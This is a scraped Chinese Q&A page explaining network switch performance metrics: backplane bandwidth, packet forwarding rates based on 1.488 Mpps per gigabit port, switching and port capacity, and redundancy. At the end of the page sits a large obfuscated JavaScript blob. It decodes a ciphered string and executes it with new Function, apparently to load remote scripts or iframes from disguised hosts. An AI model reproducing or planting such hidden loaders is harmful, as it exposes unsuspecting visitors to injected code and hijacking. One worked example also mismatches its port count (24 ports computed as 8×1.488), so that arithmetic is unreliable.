衡量交换机性能的主要指标有哪些,请给出这些指标的确切定义

2025-03-10 06:12:55
推荐回答(1个)
回答(1):

交换机的几种主要技术参数详解和计算
交换机的背板带宽,是交换机接口处理器或接口卡和数据总线间所能吞吐的最大数据量。背板带宽标志了交换机总的数据交换能力,单位为Gbps,也叫交换带宽,一般的交换机的背板带宽从几Gbps到上百Gbps不等。
一般来讲,计算方法如下:
1)线速的背板带宽
考察交换机上所有端口能提供的总带宽。计算公式为端口数*相应端口速率*2(全双工模式)如果总带宽≤标称背板带宽,那么在背板带宽上是线速的。
2)第二层包转发线速
第二层包转发率=千兆端口数量×1.488Mpps+百兆端口数量*0.1488Mpps+其余类型端口数*相应计算方法,如果这个速率能≤标称二层包转发速率,那么交换机在做第二层交换的时候可以做到线速。
3)第三层包转发线速
第三层包转发率=千兆端口数量×1.488Mpps+百兆端口数量*0.1488Mpps+其余类型端口数*相应计算方法,如果这个速率能≤标称三层包转发速率,那么交换机在做第三层交换的时候可以做到线速。
那么,1.488Mpps是怎么得到的呢?
包转发线速的衡量标准是以单位时间内发送64byte的数据包(最小包)的个数作为计算基准的。对于千兆以太网来说,计算方法如下:1,000, 000,000bps/8bit/(64+8+12)byte=1,488,095pps 说明:当以太网帧为64byte时,需考虑 8byte的帧头和12byte的帧间隙的固定开销。故一个线速的千兆以太网端口在转发64byte包时的包转 发率为1.488Mpps。快速以太网的统速端口包转发率正好为千兆以太网的十分之一,为148.8kpps。
*对于万兆以太网,一个线速端口的包转发率为14.88Mpps。
*对于千兆以太网,一个线速端口的包转发率为1.488Mpps。
*对于快速以太网,一个线速端口的包转发率为0.1488Mpps。
*对于OC-12的POS端口,一个线速端口的包转发率为1.17Mpps。
*对于OC-48的POS端口,一个线速端口的包转发率为4.68MppS。
所以说,如果能满足上面三个条件,那么我们就说这款交换机真正做到了线性无阻塞
背板带宽资源的利用率与交换机的内部结构息息相关。目前交换机的内部结构主要有以下几种:一是共享内存结构,这种结构依赖中心交换引擎来提供全端口的高性能 连接,由核心引擎检查每个输入包以决定路由。这种方法需要很大的内存带宽、很高的管理费用,尤其是随着交换机端口的增加,中央内存的价格会很高,因而交换 机内核成为性能实现的瓶颈;二是交叉总线结构,它可在端口间建立直接的点对点连接,这对于单点传输性能很好,但不适合多点传输;三是混合交叉总线结构,这 是一种混合交叉总线实现方式,它的设计思路是,将一体的交叉总线矩阵划分成小的交叉矩阵,中间通过一条高性能的总线连接。其优点是减少了交叉总线数,降低 了成本,减少了总线争用;但连接交叉矩阵的总线成为新的性能瓶颈。
如何考察交换机背板带宽是否够用
背板带宽,是交换机接口处理器或接口卡和数据总线间所能吞吐的最大数据量。一台交换机的背板带宽越高,所能处理数据的能力就越强,但同时设计成本也会上去。
但是,我们如何去考察一个交换机的背板带宽是否够用呢?显然,通过估算的方法是没有用的,我认为应该从两个方面来考虑:
1、所有端口容量X端口数量之和的2倍应该小于背板带宽,可实现全双工无阻塞交换,证明交换机具有发挥最大数据交换性能的条件。
2、满配置吞吐量(Mbps)=满配置GE端口数×1.488Mpps其中1个千兆端口在包长为64字节时的理论吞吐量为1.488Mpps。 例如,一台最多可以提供64个千兆端口的交换机,其满配置吞吐量应达到 64×1.488Mpps = 95.2Mpps,才能够确保在所有端口均线速工作时,提供无阻塞的包交换。如果一台交换机最多能够提供176个千兆端口,而宣称的吞吐量为不到 261.8Mpps(176 x 1.488Mpps = 261.8),那么用户有理由认为该交换机采用的是有阻塞的结构设计。
一般是两者都满足的交换机才是合格的交换机。
背板相对大,吞吐量相对小的交换机,除了保留了升级扩展的能力外就是软件效率/专用芯片电路设计有问题;背板相对小。吞吐量相对大的交换机,整 体性能比较高。不过背板带宽是可以相信厂家的宣传的,可吞吐量是无法相信厂家的宣传的,因为后者是个设计值,测试很困难的并且意义不是很大。
1.背板带宽:指所有业务板与交换路由引擎之间总的通信带宽(比较虚)
2.交换容量:对机箱式交换机而言,它表示某种引擎在某种机箱上所能发挥出来的最大交换能力
计算方式:
箱式的由引擎决定
低端的交换容量的大小由缓存(BUFFER)的位宽及其总线频率决定。即,交换容量=缓存位宽*缓存总线频率
3.包转发率:它是指每秒种交换机整机所能转发的数据包数量,以太网以64字节的最小包为标准,当然计算的时候要加上20字节的帧
计算方式:
对于1个全双工1000Mbps接口达到线速时要求:转发能力=1000Mbps/((64+20)*8bit)=1.488Mpps
对于1个全双工100Mbps接口达到线速时要求:转发能力=100Mbps/((64+20)*8bit)=0.149Mpps
例如:一台8*100M/1*1000M口的交换机包转发率为2.68M
4.端口容量:全双工下是交换机端口容量的两倍
计算方式:
端口容量=2*(n*100Mbps+m*1000Mbps)(n:表示交换机有n个100M端口,m:表示交换机有m个1000M端口)
例如:一台8*100M/1*1000M口的交换机端口容量为3.6G
核心交换机应当全部采用模块化结构,必须拥有相当数量的插槽,具有强大的网络扩展能力,以保护原由的投资。模块化结构拥有更强劲的性能、更大的灵活性和可扩充性,可以根据现实或者未来的需要选择不同数量、不同速率和不同接口类型的模块,以适应千变万化的网络需求。
可扩展性应当包括两个方面:
1、插槽数量。插槽用于安装各种功能模块和接口模块。由于 每个接口模块所提供的端口数量是一定的,因此插槽数量也就从根本上决定着交换机所能容纳的端口数量。另外,所有功能模块(如超级引擎模块、IP语音模块、 扩展服务模块、网络监控模块、安全服务模块等)都需要占用一个插槽,因此插槽数量也就从根本上决定着交换机的可扩展性。
2、模块类型。毫无疑问,支持的模块类型(如LAN接口模块、WAN接口模块、ATM接口模块、 扩展功能模块等)越多,交换机的可扩展性越强。仅以局域网接口模块为例,就应当包括RJ-45模块、GBIC模块、SFP模块、10Gbps模块等,以适 应大中型网络中复杂环境和网络应用的需求。
转发速率
网络中的数据是由一个个数据包组成,对每个数据包的处理要消耗资源。转发速率(也称吞吐量)是指在不丢包的情况下,单位时间内通过的数据包数量。吞吐量就 像是立交桥的车流量,是三层交换机最重要的一个参数,标志着交换机的具体性能。如果吞吐量太小,就会成为网络瓶颈,给整个网络的传输效率带来负面影响。交 换机应当能够实现线速交换,即交换速率达到传输线上的数据传输速度,从而最大限度地消除交换瓶颈。对于千兆位交换机而言,若欲实现网络的无阻塞传输,要 求:
吞吐量(Mpps)=万兆位端口数量×14.88 Mpps+千兆位端口数量×1.488 Mpps+百兆位端口数量×0.1488 Mpps
如果交换机标称的吞吐量大于或等于计算值,那么在三层交换时应当可以达到线速。其中,1个万兆位端口在包长为64 B时的理论吞吐量为 14.88 Mpps, 1个千兆位端口在包长为64 B时的理论吞吐量为1.488 Mpps, 1个百兆位端口在包长为64 B时的理论吞吐量为 0.1488 Mpps。那么这些数值是如何得到的呢?
事实上,包转发线速的衡量标准是以单位时间内发送64 B的数据包(最小包)的个数作为计算基准的。以千兆位以太网端口为例,其计算方法如下:
1,000,000,000 bps/8 bit/ (64+8+12) B =1,488,095 pps
以太网帧为64 B时,需考虑8 B的帧头和12 B的帧间隙的固定开销。由此可见,线速的千兆位以太网端口的包转发率为1.488 Mpps。万兆位以太网的线速端口包转发率,正好为千兆位以太网的10倍,即14.88 Mpps;而快速以太网的线速端口包转发率,则为千兆位以太网的十分之一,即 0.1488 Mpps。
例如,对于一台拥有24个千兆位端口的交换机而言,其满配置吞吐量应达到 8×1.488 Mpps=35.71 Mpps,才能够确保在所有端口均线速工作时,实现无阻塞的包交换。同样,如果一台交换机最多能够提供176个千兆位端口,那么其吞吐量至少应当为 261.8 Mpps(176×1.488 Mpps=261.8 Mpps),才是真正的无阻塞结构设计。
背板带宽
带宽是交换机接口处理器或接口卡和数据总线间所能吞吐的最大数据量,就像是立交桥所拥有的车道的总和。由于所有端口间的通信都需要通过背板完成,所以背板 所能提供的带宽,就成为端口间并发通信时的瓶颈。带宽越大,提供给各端口的可用带宽越大,数据交换速度越大;带宽越小,给各端口提供的可用带宽越小,数据 交换速度也就越慢。也就是说,背板带宽决定着交换机的数据处理能力,背板带宽越高,所能处理数据的能力就越强。因此,背板带宽越大越好,特别是对那些汇聚 层交换机和中心交换机而言。若欲实现网络的全双工无阻塞传输,必须满足最小背板带宽的要求。其计算公式如下:
背板带宽=端口数量×端口速率×2
提示:对于三层交换机而言,只有转发速率和背板带宽都达到最低要求,才是合格的交换机,二者缺一不可。
四层交换
第四层交换用于实现对网络服务的快速访问。在四层交换中,决定传输的依据不仅仅是MAC地址(第二层网桥)或源/目标地址(第三层路由),而且包括 TCP /UDP(第四层)应用端口号,被设计用于高速Intranet应用。四层交换除了负载均衡功能外,还支持基于应用类型和用户ID的传输流控制功能。此 外,四层交换机直接安放在服务器前端,它了解应用会话内容和用户权限,因而使它成为防止非授权访问服务器的理想平台。
模块冗余
冗余能力是网络安全运行的保证。任何厂商都不能保证其产品在运行的过程中不发生故障。而故障发生时能否迅速切换就取决于设备的冗余能力。对于核心交换机而 言,重要部件都应当拥有冗余能力,比如管理模块冗余、电源冗余等,这样才可以在最大程度上保证网络稳定运行。
路由冗余
利用HSRP、VRRP协议保证核心设备的负荷分担和热备份,在核心交换机和双汇聚交换机中的某台交换机出现故障时,三层路由设备和虚拟网关能够快速切换,实现双线路的冗余备份,保证整网稳定性。

参考:http://www.zhaibase.com/article-1881-1.html

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();